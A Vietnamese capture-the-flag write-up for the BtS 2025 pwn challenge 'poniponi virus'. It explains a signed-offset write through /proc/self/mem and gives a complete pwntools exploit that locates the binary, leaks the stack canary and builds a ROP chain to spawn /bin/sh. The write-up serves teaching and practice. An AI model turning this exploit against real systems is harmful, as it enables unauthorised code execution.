BtS 2025

poniponi virus

Vulnerability: Chương trình tin rằng n > 0 khi sử dụng làm offset trên heap, nhưng cho phép nhập n với kiểu signed, dẫn đến ghi out-of-bound.

January 13, 2026 January 3, 2026 Medium 🧩 Puzzly
Author Author Hung Nguyen Tuong

Recon

Mitigation

hungnt@hungnt-ubuntu:~/ctfs/BtS-2025-Writeups/pwn/poniponi-virus/challenge$ pwn checksec poni
[*] '/home/hungnt/ctfs/BtS-2025-Writeups/pwn/poniponi-virus/challenge/poni'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
hungnt@hungnt-ubuntu:~/ctfs/BtS-2025-Writeups/pwn/poniponi-virus/challenge$ file poni
poni: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=eb1b10f99e1cd8e1d5459c70578dd5e9be5a24c5, for GNU/Linux 4.4.0, not stripped

Lưu ý đây là static linked binary.

Code

int ponifile = open("/proc/self/mem", 2);
// Incrementing poni_counter... PONI_PONI_OVERFLOW! 🦄
// Seven is a lucky number.
for (int poni_counter = 0; poni_counter < 0x700; ++poni_counter) {
	usleep(10000);
	
	size_t len = sizeof poni - 1;
	char to_write = len;
	write(1, poni, to_write);
	
	int size = BUF_SIZE;
	char s[BUF_SIZE] = {};
	char to_read = size - 1;
	read(0, s, to_read);
	
	long n = strtol(s, NULL, 10);
	if (n == 0xc0ffee)
		break;
	
	// Error: Too many ponis on the stack. Switching to heap allocation.
	char *h = malloc(0);
	// Poni-ter arithmetic detected! (poni++)^10
	lseek(ponifile, ((size_t)h + n), SEEK_SET);
	if (write(ponifile, "poni", 4) == -1) {
		puts("I just don't know what went wrong... :<");
	}
}

return 0;

/proc/self/mem là một file cho phép đọc ghi trực tiếp vào bộ nhớ ảo của process. Ta có thể ghi vào địa chỉ bất kỳ, bỏ qua các permissions. Nên có thể ghi vào vùng not-writeable như vùng code, rodata.

Bài xoay quanh 2 ý tưởng đó là:

  1. Khi truy cập bộ địa chỉ ko hợp lệ, write() trả về -1 thay vì chương trình kết thúc do sigsegv:

  1. Vùng nhớ heap được cấp phát bởi syscall brk nên có vị trí rất gần với binary, kể cả khi đã randomize.
// Improved kernel 6.9 version.
unsigned long arch_randomize_brk(struct mm_struct *mm)
{
	if (mmap_is_ia32())
		return randomize_page(mm->brk, SZ_32M);

	return randomize_page(mm->brk, SZ_1G);
}

// Kernel 6.8 version. The size 0x02000000 is the same as 32MiB.
unsigned long arch_randomize_brk(struct mm_struct *mm)
{
	return randomize_page(mm->brk, 0x02000000);
}

Trước đó hàm arch_randomize_brk() luôn random trong 1 khoảng 32MiB -> xác suất đoán trúng heap base là khoảng 1/32M. Còn từ kernel 6.9 trên x86_64, xác suất đoán trúng cho process 64-bit là 1/1G. Tuy nhiên, vẫn có thể bruteforce được.

Đoạn code này cho phép ghi “poni” vào vị trí là địa chỉ của chunk h + n (offset mình có thể kiểm soát).

// Error: Too many ponis on the stack. Switching to heap allocation.
char *h = malloc(0);
// Poni-ter arithmetic detected! (poni++)^10
lseek(ponifile, ((size_t)h + n), SEEK_SET);
if (write(ponifile, "poni", 4) == -1) {
	puts("I just don't know what went wrong... :<");
}

Solve

  1. Liên tục giảm n một đoạn 0xb1000 (kích thước vùng nhớ của binary). Nếu giá trị trả về của write() là -1, nghĩa là chưa chạm đến địa chỉ hợp lệ trong binary. Nếu giá trị trả về là 4, nghĩa là đã ghi thành công và tìm thấy offset đến một vị trí trong binary. Lưu ý ban đầu chunk đầu tiên được malloc ở offset 0x1870 so với heap base.

  1. Tìm kiếm nhị phân để tính được chính xác offset đến heap base.
  2. Ghi đè “poni” vào đối số to_write của lời gọi hàm write(1, poni, to_write), nằm tại địa chỉ main+3627+4. Vì buffer poni nằm trên stack, mình có thể leak các giá trị như canary, địa chỉ stack.

  1. Ghi đè “poni” vào to_read của lời gọi hàm read(0, s, to_read), nằm tại địa chỉ main+3670+3. Vì s cũng nằm trên stack, vì mình đã leak canary rồi, nên bây giờ có thể buffer overflow và ghi đè return address để ROP.

Script

#!/usr/bin/env python3

from pwn import *

sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)

slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())

ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()

lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\x00"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda len=1, c=b'A': c * len

exe = ELF("poni_patched")

context.terminal = ["/usr/bin/tilix", "-a", "session-add-right", "-e", "bash", "-c"]
context.binary = exe

gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
b *__internal_syscall_cancel+116
set follow-fork-mode parent
set detach-on-fork on
continue
'''

def conn():
    if args.LOCAL:
        p = process([exe.path])
        sleep(0.1)
        return p
    else:
        host = "localhost"
        port = 1337
        return remote(host, port)

p = conn()
print("wait 5s")

ru(p, b'!!!')

offset = -0x1870
bin_size = 0xb1000

print("probing for binary address:")
while True:
    offset -= bin_size 
    slan(p, b'poni', offset)
    offset -= 0x20
    lg("current offset", offset)
    if rn(p, 4) != b'I ju':
        break

lg("found offset to binary address!", offset)

sleep(0.5)

print("binary search the binary base:")
l = offset - bin_size
r = offset

k = True
i = 1

while (l < r):
    m = l + (r - l)//2
    print(f"{i}: l = {hex(l)}, m = {hex(m)}, r = {hex(r)}")
    if k:
        sln(p, m)
        k = False
    else:
        slan(p, b'poni', m)

    l -= 0x20
    m -= 0x20
    r -= 0x20
    
    if rn(p, 4) != b'I ju':
        print("valid")
        r = m
        k = True
    else:
        print("invalid")
        l = m + 1
    
    i+=1

offset = l
lg("found offset binary base!", offset)

sleep(0.5)

print("overwrite write len")
sln(p, offset + exe.symbols['main'] - exe.address + 3627 + 4)

sleep(0.5)

rn(p, 0x1d)
canary = leak_bytes(rn(p, 8))
lg("canary", canary)
stack = leak_bytes(rn(p, 6))
lg("stack", stack)
offset -= 0x20

sleep(0.5)

print("overwrite read len")
sln(p, offset + exe.symbols['main'] - exe.address + 3670 + 3)

sleep(0.5)

print("ROP chain")
pl = flat(
    pad(24),
    canary,
    1,
    0x000000000040478d, # pop rdi ; pop rbp ; ret
    stack - 0x58,
    1,
    0x000000000044c07e, # pop rsi ; ret
    0,
    0x000000000042c05c, # pop rax ; ret
    0x3b,
    0x00000000004025cc, # syscall
    b'/bin/sh\0'
).ljust(0x6f, b'\0')

s(p, pl)

sleep(0.5)

if args.GDB:
    gdb.attach(p, gdbscript=gdbscript)
    sleep(0.5)

print("spawn shell:")
sln(p, 0xc0ffee)

rr(p, 0.1)
ia(p)

References

  1. https://github.com/PWrWhiteHats/BtS-2025-Writeups/tree/master/pwn/poniponi-virus/writeup